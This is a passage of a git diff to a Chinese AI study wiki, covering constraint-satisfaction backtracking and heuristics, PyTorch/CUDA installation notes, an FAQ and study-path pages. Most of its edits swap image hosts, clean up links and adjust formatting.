function):所有路径的成本都是一样的。正如我们前面提到的,与典型的搜索问题相比,优化问题关心的是解决方案,而不是通往解决方案的路线。 + +然而,把约束满足问题作为一个普通的搜索问题来处理,是非常低效的。相反,我们可以利用约束满足问题的结构来更有效地解决它。 + +### 回溯搜索 (Backtracking Search) + +回溯搜索是一种考虑约束满足搜索问题结构的搜索算法。一般来说,它是一个递归函数,只要值满足约束,它就会尝试继续赋值。如果违反了约束,它将尝试不同的赋值。让我们看看它的伪代码: + +```python +function Backtrack(assignment, csp): + if assignment complete: + return assignment + var = Select-Unassigned-Var(assignment, csp) + for value in Domain-Values(var, assignment, csp): + if value consistent with assignment: + add {var = value} to assignment + result = Backtrack(assignment, csp) + if result ≠ failure: + return result + remove {var = value} from assignment + return failure +``` + +换句话说,如果当前赋值完成,则该算法返回当前赋值。这意味着,如果完成了算法,它将不会执行任何额外的操作,它只会返回已成立的赋值。如果赋值不完整,算法会选择任何尚未赋值的变量。然后,算法尝试为变量赋值,并对结果赋值再次运行回溯算法(递归)。然后,它检查结果值。如果不是失败,则表示赋值已完成,并且应返回此赋值。如果结果值失败,则删除最近的赋值,并尝试新的可能值,重复相同的过程。如果域中所有可能的值都返回失败,这意味着我们需要回溯。也就是说,问题出在之前的一些作业上。如果这种情况发生在我们开始使用的变量上,那么这意味着没有解决方案满足约束。 + +考虑以下行动方案: + +![4.3.4-11](static/4.3.4-11.png) + +我们从空赋值开始。然后,我们选择变量 A,并给它赋值`Mon`。然后,使用这个赋值,我们再次运行算法。既然 A 已经有了一个赋值,算法将考虑 B,并将`Mon`赋值给它。此赋值返回`false`,因此算法将尝试在`Tue`为 B 赋值,而不是在给定上一个赋值的情况下为 C 赋值。这个新的赋值满足约束条件,在给定这个赋值的情况下,下一步将考虑一个新的变量。例如,如果将`Tue`或`Wed`也赋值给 B 会导致失败,那么算法将回溯并返回到考虑 A,为其分配另一个值,即`Tue`。如果`Tue`和`Wed`也失败了,那么这意味着我们已经尝试了所有可能的赋值,该问题是无法解决的。 + +在源代码部分,您可以从头开始实现的回溯算法。然而,这种算法被广泛使用,因此,多个库已经包含了它的实现。 + +## 推理 (Inference) + +尽管回溯搜索比简单搜索更有效,但它仍然需要大量的算力。另一方面,满足弧一致性需要的算力较低。通过将回溯搜索与推理交织在一起(满足弧一致性),我们可以得到一种更有效的算法。该算法被称为“保持弧一致性”__(Maintaining Arc-Consistency)__ 算法。该算法将在每次新的回溯搜索分配之后满足弧一致性。具体来说,在我们对 X 进行新的赋值后,我们将调用`AC-3`算法,并从所有弧 (Y,X) 的队列开始,其中 Y 是 X 的邻居 (而不是问题中所有弧的队列)。以下是一个经过修订的 Backtrack 算法,该算法保持了弧的一致性。 + +```python +function Backtrack(assignment, csp): + if assignment complete: + return assignment + var = Select-Unassigned-Var(assignment, csp) + for value in Domain-Values(var, assignment, csp): + if value consistent with assignment: + add {var = value} to assignment # new here + inferences = Inference(assignment, csp) # new here + if inferences ≠ failure: + add inferences to assignment + result = Backtrack(assignment, csp) + if result ≠ failure: + return result + remove {var = value} and inferences from assignment # new here + return failure +``` + +Inference 函数运行 AC-3 算法,如前所述。它的输出是通过满足弧一致性可以做出的所有推断。从字面上看,这些是可以从以前的赋值和约束满足问题的结构中推导出来的新赋值。 + +还有其他方法可以提高算法的效率。到目前为止,我们随机选择了一个未分配的变量。然而,有些选择比其他选择更有可能更快地找到解决方案。这需要使用启发式方法。启发式是一条经验法则,这意味着,通常情况下,它会比遵循随机的方法带来更好的结果,但不能保证总是更优。 + +__最小剩余值 (Minimum Remaining Values(MRV))__ 就是这样一种启发式方法。这里的想法是,如果一个变量的域被推理限制了,现在它只剩下一个值 (甚至是两个值),那么通过进行这种赋值,我们将减少以后可能需要进行的回溯次数。也就是说,我们迟早要做这个赋值,因为它是从满足弧一致性中推断出来的。如果这项任务失败了,最好尽快发现,避免以后的回溯。 + +![4.3.4-12](static/4.3.4-12.png) + +例如,在给定当前赋值的情况下缩小变量的域后,使用 MRV 启发式,我们接下来将选择变量 C,并以 Wed 为其赋值。 + +__度 (Degree)__ 启发式依赖于变量的度,其中度是指将一个变量连接到其他变量的弧数。通过一次赋值选择度最高的变量,我们约束了多个其他变量,从而加快了算法的进程。 + +![4.3.4-13](static/4.3.4-13.png) + +例如,上面所有的变量都有相同大小的域。因此,我们应该选择一个度最高的域,它将是变量 E。 + +这两种启发式方法并不总是适用的。例如,当多个变量在其域中具有相同的最小值时,或者当多个变数具有相同的最高度时。 + +另一种提高算法效率的方法是,当我们从变量的域中选择一个值时,使用另一种启发式方法。在这里,我们使用 __最小约束值 (Least Constraining Values)__ 启发式,在这里我们选择将约束最少其他变量的值。这里的想法是,在度启发式中,我们希望使用更可能约束其他变量的变量,而在这里,我们希望这个变量对其他变量的约束最少。也就是说,我们希望找到可能是最大潜在麻烦源的变量 (度最高的变量),然后使其尽可能不麻烦 (为其赋值约束其他变量最少的值)。 + +![4.3.4-14](static/4.3.4-14.png) + +例如,让我们考虑变量 C。如果我们将`Tue`分配给它,我们将对所有 B、E 和 F 施加约束。然而,如果我们选择`Wed`,我们将只对 B 和 E 施加约束。因此,选择`Tue`可能更好。 + +总之,优化问题可以用多种方式来表述。在这,我们考虑了局部搜索、线性规划和约束满足。 diff --git a/4.人工智能/4.3人工智能导论及机器学习入门.md b/4.人工智能/4.3人工智能导论及机器学习入门.md index 09e1ce2..81d80b1 100644 --- a/4.人工智能/4.3人工智能导论及机器学习入门.md +++ b/4.人工智能/4.3人工智能导论及机器学习入门.md @@ -2,18 +2,21 @@ 人工智能(Artificial Intelligence, AI)是机器,特别是计算机系统对人类智能过程的模拟。人工智能是一个愿景,目标就是让机器像我们人类一样思考与行动,能够代替我们人类去做各种各样的工作。人工智能研究的范围非常广,包括演绎、推理和解决问题、知识表示、学习、运动和控制、数据挖掘等众多领域。 -# 人工智能、机器学习与深度学习关系 +## 人工智能、机器学习与深度学习关系 人工智能是一个宏大的愿景,目标是让机器像我们人类一样思考和行动,既包括增强我们人类脑力也包括增强我们体力的研究领域。而学习只是实现人工智能的手段之一,并且,只是增强我们人类脑力的方法之一。所以,人工智能包含机器学习。机器学习又包含了深度学习,他们三者之间的关系见下图。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/AMU7bSgh4o8tEIxk82icvtbDn0c.png) +![](https://cdn.xyxsw.site/AMU7bSgh4o8tEIxk82icvtbDn0c.png) -# 如何学习本节内容 +## 如何学习本节内容 作者深知学习人工智能时面临许多繁碎数学知识,复杂数学公式的痛苦,因此,本节内容重在讲解核心概念和算法,略去了复杂的数学推导,尽可能以直觉的方式去理解,本文的数学知识,高中生足以掌握。阅读本节内容不需要人工智能基础,你可以直接从本节入门 AI。本节内容的算法、项目实现将使用 python 实现,需要掌握一定的 python 基础语法。当然如果你急于了解 AI,却又不会 python,没有关系,你可以选择跳过其中的编程部分,着眼于其中的概念、算法,程序语言是算法实现的工具,并非学习算法的必须品。 -# 学习建议 +## 学习建议 本节内容是作者根据[哈佛的 CS50AI 导论](https://cs50.harvard.edu/ai/2020/)以及 [Andrew Ng 的机器学习专项课程](https://www.coursera.org/specializations/machine-learning-introduction)简化编写,当然你可以直接学习这两门课程。本节内容的总学习时间应该是二到三个月,如果你在某个知识点上卡住了,你也许需要反复阅读讲义,必要时向身边人求助。 -# 目录 +## 补充材料 + +![4.3-0](static/4.3-0.jpg) +人工智能现代方法(第四版) diff --git a/4.人工智能/4.4FAQ:常见问题.md b/4.人工智能/4.4FAQ:常见问题.md index e0b774b..941c795 100644 --- a/4.人工智能/4.4FAQ:常见问题.md +++ b/4.人工智能/4.4FAQ:常见问题.md @@ -1,8 +1,8 @@ # FAQ:常见问题 -## 我是非计算机专业的,感觉AI很火,可以看这篇内容吗 +## 我是非计算机专业的,感觉 AI 很火,可以看这篇内容吗 -如果你不打算做相关研究的话,我觉得你最先应该考虑的是熟练掌握使用AI工具,本章内容更偏向于完善AI方面的知识体系架构 +如果你不打算做相关研究的话,我觉得你最先应该考虑的是熟练掌握使用 AI 工具,本章内容更偏向于完善 AI 方面的知识体系架构 ## 我对AI/CV/NLP/blabla研究方向很感兴趣可以看这篇内容吗? @@ -10,7 +10,7 @@ 因此如果你想学某个知识体系,可以参考本章内容的路线,但是若你有足够强大的能力可以直接应对国外课程体系的困难,那么我非常推荐你去直接看英文内容 -因为我们在降低门槛的时候也一定程度上让各位损失了一定的训练,在概括的过程中,信息量被稀释了,抽象地描述也许更能让你get到一些思想性的内容 +因为我们在降低门槛的时候也一定程度上让各位损失了一定的训练,在概括的过程中,信息量被稀释了,抽象地描述也许更能让你 get 到一些思想性的内容 ## 我数学不好可以学吗 @@ -30,11 +30,9 @@ 你应该更多地依赖自己而不是学校 +## [如果不是相关领域可以找到这个领域工作吗](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work) - -# [如果不是相关领域可以找到这个领域工作吗](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work) - -> “我正在为团队招聘专家,但你的 MOOC 并没有给你带来工作学习机会。我大部分机器学习方向的硕士也并不会得到机会,因为他们(与大多数工作)上过 MOOC 的人一样)并没有深入地去理解。他们都无法帮助我的团队解决问题。” Ross C. Taylor +> “我正在为团队招聘专家,但你的 MOOC 并没有给你带来工作学习机会。我大部分机器学习方向的硕士也并不会得到机会,因为他们(与大多数工作)上过 MOOC 的人一样)并没有深入地去理解。他们都无法帮助我的团队解决问题。”Ross C. Taylor ## 人工智能,深度学习,机器学习,数据分析,我该如何区分 @@ -42,23 +40,19 @@ 机器学习包括深度学习 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBP4QHAJnXrNfOiK8hp6LIc.png) +![](https://cdn.xyxsw.site/boxcnBP4QHAJnXrNfOiK8hp6LIc.png) [同时向你推荐这个 Data Analytics,Data Analysis,数据挖掘,数据科学,机器学习,大数据的区别是什么?](https://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxPsUwwhcCC0zBerZ2s88ld.png) +![](https://cdn.xyxsw.site/boxcnxPsUwwhcCC0zBerZ2s88ld.png) ## 我没有任何相关概念 尝试阅读以下内容 - [形象的机器学习简介](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/) -- [一份温柔的机器学习指南](https://blog.monkeylearn.com/a-gentle-guide-to-machine-learning/) - [为开发者准备的机器学习简介](http://blog.algorithmia.com/introduction-machine-learning-developers/) - [菜鸟的机器学习基础](https://www.analyticsvidhya.com/blog/2015/06/machine-learning-basics/) - [你如何向非计算机专业的人来解释机器学习与数据挖掘?](https://www.quora.com/How-do-you-explain-Machine-Learning-and-Data-Mining-to-non-Computer-Science-people) - [在罩子下的机器学习,博文简单明了地介绍了机器学习的原理](https://georgemdallas.wordpress.com/2013/06/11/big-data-data-mining-and-machine-learning-under-the-hood/) - [机器学习是什么?它是如何工作的呢?](https://www.youtube.com/watch?v=elojMnjn4kk&list=PL5-da3qGB5ICeMbQuqbbCOQWcS6OYBr5A&index=1) -- [深度学习——一份非技术性的简介](http://www.slideshare.net/AlfredPong1/deep-learning-a-nontechnical-introduction-69385936) - - diff --git a/4.人工智能/4.6.1工欲善其事,必先利其器.md b/4.人工智能/4.6.1工欲善其事,必先利其器.md index 6f86e58..93355c2 100644 --- a/4.人工智能/4.6.1工欲善其事,必先利其器.md +++ b/4.人工智能/4.6.1工欲善其事,必先利其器.md @@ -6,7 +6,7 @@ ## 深度学习框架 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnWLzi1LIWLCncrXcTcjAKne.png) +![](https://cdn.xyxsw.site/boxcnWLzi1LIWLCncrXcTcjAKne.png) ### 1、深度学习框架是什么 @@ -113,9 +113,9 @@ PyTorch 完全基于 Python。 官网如下 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaF9UWNcr5pt99Zu5Wr0PTg.png) +![](https://cdn.xyxsw.site/boxcnaF9UWNcr5pt99Zu5Wr0PTg.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png) +![](https://cdn.xyxsw.site/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png) 选择 Conda 或者 Pip 安装皆可 @@ -127,9 +127,9 @@ PyTorch 完全基于 Python。 如果你使用 conda 安装 pytorch 太慢或者失败,不妨换个下载源试试 -在 [cmd](https://so.csdn.net/so/search?q=cmd&spm=1001.2101.3001.7020) 命令行中,输入添加以下命令: +在 cmd 命令行中,输入添加以下命令: -``` +```bash conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ @@ -140,15 +140,21 @@ conda config --set show_channel_urls yes ### TensorFlow -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5u9u9M6DPRh83ufoSwfuof.png) +![](https://cdn.xyxsw.site/boxcn5u9u9M6DPRh83ufoSwfuof.png) #### 教程 -[在 Windows 上配置 pytorch!(CPU 和 GPU 版)](https://www.bilibili.com/video/BV1YY4y1B7cA?spm_id_from=333.337.search-card.all.click&vd_source=8e0b454d3850af2ce4435d1ca2d9e040) +[在 Windows 上配置 pytorch!(CPU 和 GPU 版)](https://www.bilibili.com/video/BV1YY4y1B7cA) -[Windows 下 PyTorch 入门深度学习环境安装与配置 CPU GPU 版](https://www.bilibili.com/video/BV1S5411X7FY?p=1&vd_source=8e0b454d3850af2ce4435d1ca2d9e040) + -[最新 TensorFlow 2.8 极简安装教程](https://www.bilibili.com/video/BV1i34y1r7dv/?spm_id_from=333.788&vd_source=8e0b454d3850af2ce4435d1ca2d9e040) +[Windows 下 PyTorch 入门深度学习环境安装与配置 CPU GPU 版](https://www.bilibili.com/video/BV1S5411X7FY) + + + +[最新 TensorFlow 2.8 极简安装教程](https://www.bilibili.com/video/BV1i34y1r7dv) + + #### 思考题:为什么需要 CUDA 版本??? @@ -161,17 +167,17 @@ cuda 版本需要额外配置,我们将这个任务留给聪明的你!!! 同时按下键盘的 win+r 键,打开 cmd,键入 `dxdiag` 然后回车 系统、显卡、声卡以及其他输入设备的信息都在这里了。(给出我的界面) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXHceTuUl0XzCNJv9RqHN9c.png) +![](https://cdn.xyxsw.site/boxcnXHceTuUl0XzCNJv9RqHN9c.png) cuda 版本查看 桌面空白位置摁下右键 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbxhAei6H4OWjaN0Hp0YICg.png) +![](https://cdn.xyxsw.site/boxcnbxhAei6H4OWjaN0Hp0YICg.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnp9i1SagOxXd17W9BiP3RNe.png) +![](https://cdn.xyxsw.site/boxcnp9i1SagOxXd17W9BiP3RNe.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngaZNZB3XLSJia0rk0DgGbe.png) +![](https://cdn.xyxsw.site/boxcngaZNZB3XLSJia0rk0DgGbe.png) #### linux @@ -187,11 +193,11 @@ nvidia-smi 通常大家所指的 cuda 是位于/usr/local 下的 cuda -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcntFGELTpdcVoigy5ldCorAb.png) +![](https://cdn.xyxsw.site/boxcntFGELTpdcVoigy5ldCorAb.png) 当然可以看到 cuda 是 cuda-11.6 所指向的软链接(类似 windows 的快捷方式),所以我们如果要切换 cuda 版本只需要改变软链接的指向即可。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTB39MtPKBr9CgufCpSIYuf.png) +![](https://cdn.xyxsw.site/boxcnTB39MtPKBr9CgufCpSIYuf.png) cuda driver version 是 cuda 的驱动版本。 @@ -199,9 +205,9 @@ cuda runtimer version 是我们实际很多时候我们实际调用的版本。 二者的版本是可以不一致的。如下图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnATNfI2spkNsXbqtIuwwY6c.png) +![](https://cdn.xyxsw.site/boxcnATNfI2spkNsXbqtIuwwY6c.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnz03UebyZ42JNOXpdUfjMBg.png) +![](https://cdn.xyxsw.site/boxcnz03UebyZ42JNOXpdUfjMBg.png) 一般来讲 cuda driver 是向下兼容的。所以 cuda driver version >= cuda runtime version 就不会太大问题。 @@ -211,13 +217,13 @@ cuda runtimer version 是我们实际很多时候我们实际调用的版本。 以 pytorch 为例,可以看到在安装过程中我们选择的 cuda 版本是 10.2 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcns8yMCuacj0A2BbMU6ZB08b.png) +![](https://cdn.xyxsw.site/boxcns8yMCuacj0A2BbMU6ZB08b.png) 那么这个 cudatookit10.2 和 nvidia-smi 的 11.7 以及 nvcc -V 的 11.4 三者有什么区别呢? pytorch 实际只需要 cuda 的链接文件,即.so 文件,这些链接文件就都包含的 cudatookkit 里面。并不需要 cuda 的头文件等其他东西,如下所示 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXWjMnlXjMg2lA1ApjoUhnh.png) +![](https://cdn.xyxsw.site/boxcnXWjMnlXjMg2lA1ApjoUhnh.png) 所以我们如果想让使用 pytorch-cuda 版本,我们实际上不需要/usr/local/cuda。只需要在安装驱动的前提下,在 python 里面安装 cudatookit 即可。 @@ -227,8 +233,8 @@ pytorch 实际只需要 cuda 的链接文件,即.so 文件,这些链接文 Cudnn 是一些链接文件,你可以理解成是为了给 cuda 计算加速的东西。同样的我们也可以用以下命令查看/usr/local/cuda 的 cudnn: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPD5DbA3NPimtV0kVoDJGmh.png) +![](https://cdn.xyxsw.site/boxcnPD5DbA3NPimtV0kVoDJGmh.png) 以及 pytorch 的 cuda 环境的 cudnn -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZQ2Mc52Us6ku543l7WPEZd.png) +![](https://cdn.xyxsw.site/boxcnZQ2Mc52Us6ku543l7WPEZd.png) diff --git a/4.人工智能/4.6.2你可能会需要的术语介绍.md b/4.人工智能/4.6.2你可能会需要的术语介绍.md index 5e4da52..50fde69 100644 --- a/4.人工智能/4.6.2你可能会需要的术语介绍.md +++ b/4.人工智能/4.6.2你可能会需要的术语介绍.md @@ -1,6 +1,6 @@ # 你可能会需要的术语介绍 -众所周知,一个领域的黑话对新人来说是比较不友好的,为此我从知乎上找了一篇黑话大赏(bushi)做了点改良放在这里。如果遇到看不懂的词了可以来这找找。在系统学习之前可以先无视这篇文章,遇到问题再来找找 +众所周知,一个领域的黑话对新人来说是比较不友好的,为此我从知乎上找了一篇黑话大赏(bushi)做了点改良放在这里。如果遇到看不懂的词了可以来这找找。**在系统学习之前可以先无视这篇文章,遇到问题再来找找** > 作者:Young
链接:[https://www.zhihu.com/question/469612040/answer/2008770105](https://www.zhihu.com/question/469612040/answer/2008770105)
来源:知乎 @@ -38,10 +38,10 @@ - 体素:我把世界变成 MC 了,世界是一堆方块,他们在不同视角下有各自的颜色和透明度 - 点云:我每采样一次得到一个点,由这些点去表示我要的物体,不太直观,来张图 -这是我用照片重建的独角兽稀疏点云,红色的不用管,是照相机视角(图不够多,巨糊) +这是我用照片重建的独角兽**稀疏**点云,红色的不用管,是照相机视角(图不够多,巨糊) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnWx8hYfT6kFug4A1iA3uftg.png) +![](https://cdn.xyxsw.site/boxcnWx8hYfT6kFug4A1iA3uftg.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbWfXyklyZwpjwy8uz2XnLh.jpg) +![](https://cdn.xyxsw.site/boxcnbWfXyklyZwpjwy8uz2XnLh.jpg) 先这些,后续想起来了可能会补充。 diff --git a/4.人工智能/4.6.3深度学习快速入门.md b/4.人工智能/4.6.3深度学习快速入门.md index 2869007..6276771 100644 --- a/4.人工智能/4.6.3深度学习快速入门.md +++ b/4.人工智能/4.6.3深度学习快速入门.md @@ -1,8 +1,11 @@ # 深度学习快速入门 -## 刘二大人(Pytorch) +## **刘二大人(Pytorch)** -## [【速成课:人工智能】Ai - [21 集全/中英双语] - Artificial Intelligence_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1P7411r7Dw/?spm_id_from=333.999.0.0&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) +## 速成课:人工智能 +[【速成课:人工智能】Ai - [21 集全/中英双语] - Artificial Intelligence_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1P7411r7Dw) + + Crash course 的课程,可以基本了解pytorch的内容,但是当然有很多内容已经有些过时 @@ -59,13 +62,13 @@ Crash course 的课程,可以基本了解pytorch的内容,但是当然有很 ## torch 我还不会呢! -学会一个庞大并且高度封装的包并不是一蹴而就的,我们建议从实践开始,比如说自己搭建一个神经网络来实现 MNIST 的分类。在使用这些函数和类的过程中你能更快地掌握它们的方法。 +学会一个**庞大并且高度封装**的包并不是一蹴而就的,我们建议从实践开始,比如说自己搭建一个神经网络来实现 MNIST 的分类。在使用这些函数和类的过程中你能更快地掌握它们的方法。 # 关于梯度下降算法: ### 损失 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRbeabbEppeHlM39UwqJSJc.png) +![](https://cdn.xyxsw.site/boxcnRbeabbEppeHlM39UwqJSJc.png) 首先我们需要有一个损失函数$F(x),x=true-predict$ @@ -74,13 +77,13 @@ Crash course 的课程,可以基本了解pytorch的内容,但是当然有很 ### 梯度下降 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnMuwaG2okodvywzbxX138Re.png) +![](https://cdn.xyxsw.site/boxcnMuwaG2okodvywzbxX138Re.png) 假设损失函数为$y=x^2$,梯度下降的目的是快速找到导数为 0 的位置(附近) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn83M9AW6xDm5pBIqmZEC6Kf.png) +![](https://cdn.xyxsw.site/boxcn83M9AW6xDm5pBIqmZEC6Kf.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcneVFa131Lb9xDMCsIMI9fcc.png) +![](https://cdn.xyxsw.site/boxcneVFa131Lb9xDMCsIMI9fcc.png) 以此类推,我们最后的 w 在 0 的附近反复横跳,最后最接近目标函数的权重 w 就是 0。 @@ -94,18 +97,18 @@ Crash course 的课程,可以基本了解pytorch的内容,但是当然有很 # 关于 MINIST -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png) +![](https://cdn.xyxsw.site/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png) 这个数据集可以说是最最经典的数据集了,里面有 0-9 这 10 个数字的手写图片和标注,正确率最高已经到了 99.7%. # 接下来干什么? -- 我想学 CV !!!!!! +- **我想学 CV !!!!!!** -你可以在 CV 模块中找到[4.6.5.3CV中的经典网络](4.6.5.3CV%E4%B8%AD%E7%9A%84%E7%BB%8F%E5%85%B8%E7%BD%91%E7%BB%9C.md) ,这里是一些最最经典的论文,我们推荐你阅读它们的原文并且复现它们的代码,这可以同时锻炼你的coding 能力和论文阅读能力,在阅读前,请参见[如何读论文](../1.%E6%9D%AD%E7%94%B5%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/1.10%E5%A6%82%E4%BD%95%E8%AF%BB%E8%AE%BA%E6%96%87.md) 。本模块的撰写者SRT 社团主要从事 CV 方向的研究,遇到问题欢迎与我们交流。(你都完成这些了不至于找不到我们的联系方式吧~)如果你读完了经典网络模块,你可以在它的最后找到接下来的学习路线~ +你可以在 CV 模块中找到[4.6.5.3CV中的经典网络](4.6.5.3CV%E4%B8%AD%E7%9A%84%E7%BB%8F%E5%85%B8%E7%BD%91%E7%BB%9C.md) ,这里是一些最最经典的论文,我们推荐你阅读它们的原文并且复现它们的代码,这可以同时锻炼你的**coding 能力和论文阅读能力**,在阅读前,请参见[如何读论文](../1.%E6%9D%AD%E7%94%B5%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/1.10%E5%A6%82%E4%BD%95%E8%AF%BB%E8%AE%BA%E6%96%87.md) 。本模块的撰写者**SRT 社团**主要从事 CV 方向的研究,遇到问题欢迎与我们交流。(你都完成这些了不至于找不到我们的联系方式吧~)**如果你读完了经典网络模块,你可以在它的最后找到接下来的学习路线~** -- 我想做NLP !!!!!! +- **我想做****NLP**** !!!!!!** NLP 研究方向庞大且复杂,若直接从 GPT 系列开始不免有些过于困难。我们建议你从了解 NLP 的任务开始,在有足够的基础后开始学习 RNN,LSTM 基准方法后向 [4.6.7Transformer](4.6.7Transformer.md) 进发 ,这个方法广泛运用在几乎所有深度学习领域,尤其是 NLP 的前沿研究已经无法离开 Transformer 了 hhhh。这个模块中我们也加入了一些 Transformer 的改进工作,包括 NLP,CV,和多模态 -- 如果你想做多模态,对比学习等,请同时了解 CV 和 NLP 模块。这将是你后续知识的基础。多模态我们没有完善的讲义推出,对比学习可以参见[4.6.8对比学习](4.6.8%E5%AF%B9%E6%AF%94%E5%AD%A6%E4%B9%A0.md) 。这是撰写者之一的论文阅读笔记,不保证准确性与理解是否准确,可以作为论文阅读路线图来参考~ +- **如果你想做多模态,对比学习等**,请同时了解 CV 和 NLP 模块。这将是你后续知识的基础。多模态我们没有完善的讲义推出,对比学习可以参见[4.6.8对比学习](4.6.8%E5%AF%B9%E6%AF%94%E5%AD%A6%E4%B9%A0.md) 。这是撰写者之一的论文阅读笔记,不保证准确性与理解是否准确,可以作为论文阅读路线图来参考~ diff --git a/4.人工智能/4.6.4Pytorch安装.md b/4.人工智能/4.6.4Pytorch安装.md index b4c2e36..afcfb16 100644 --- a/4.人工智能/4.6.4Pytorch安装.md +++ b/4.人工智能/4.6.4Pytorch安装.md @@ -4,7 +4,7 @@ 进入官网后选择 Install,在下面表格中按照你的配置进行选择: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxltvaT52E6mu6JIYaKvM1X.png) +![](https://cdn.xyxsw.site/boxcnxltvaT52E6mu6JIYaKvM1X.png) 其中 Package 部分选择安装的途径,这里主要介绍 Pip 和 Conda 两种途径。 @@ -17,7 +17,7 @@ Pip 在通过 python 官网下载 python 并安装时可以选择同时安装 pi 3. 对于 Windows 用户,在 C:\Users\xx\pip 目录下(没有 pip 目录就新建)创建一个 pip.ini 文件,并将下面代码块中内容复制进去: 4. 对于 Linux 用户,同样在~/.pip/pip.conf 进行配置。如果没有.pip 目录就新建,然后将下面代码块中内容复制进去: -``` +```bash [global] index-url = http://pypi.douban.com/simple extra-index-url = https://pypi.mirrors.ustc.edu.cn/simple/ @@ -56,8 +56,8 @@ conda config --show channels 同时按下 Win+R,运行 cmd,输入 `dxdiag` 并回车。系统、显卡、声卡以及其他设备信息都会显示。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnepK0nkI8pWAJaO89zQoRgh.png) +![](https://cdn.xyxsw.site/boxcnepK0nkI8pWAJaO89zQoRgh.png) cuda 版本查看 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRoZEZsUdVduFRR9DjegeNh.png) +![](https://cdn.xyxsw.site/boxcnRoZEZsUdVduFRR9DjegeNh.png) diff --git a/4.人工智能/4.6.5.1CV领域任务(研究目标).md b/4.人工智能/4.6.5.1CV领域任务(研究目标).md index 72368c6..7ae18e7 100644 --- a/4.人工智能/4.6.5.1CV领域任务(研究目标).md +++ b/4.人工智能/4.6.5.1CV领域任务(研究目标).md @@ -2,13 +2,13 @@ ### CV 领域的大任务 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTUlm8EI0byGJJQ78IqGWGx.png) +![](https://cdn.xyxsw.site/boxcnTUlm8EI0byGJJQ78IqGWGx.png) -#### (a)Image classification 图像分类 +#### (a)Image classification **图像分类** - 识别这个图片整体所属的类别,解决的是"what"问题,给这个图片打上相应的标签,在 a 图内标签是 `bottle,cup,cube`,其他类型的图片也都有它们自己的标签,然后把这些打上标签的图片带进网络结构里作为训练集训练。 -#### (b)Object localization 目标检测(对象定位) +#### (b)Object localization **目标检测**(对象定位) - 识别图片中各个物体所在的位置,解决的是"where"问题,此处还细分两个问题: @@ -18,27 +18,27 @@ - 这张图我们需要标注两个类别 `head(头)、helmet(头盔)` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnoyxKL4bOeYOOjrh6it0BHd.gif) +![](https://cdn.xyxsw.site/boxcnoyxKL4bOeYOOjrh6it0BHd.gif) -#### (c)Semantic segmentation 语义分割 +#### (c)Semantic segmentation **语义分割** - 语义分割需要进一步判断图像中哪些像素属于哪个目标(进阶目标检测)。 - 看图右下角两个 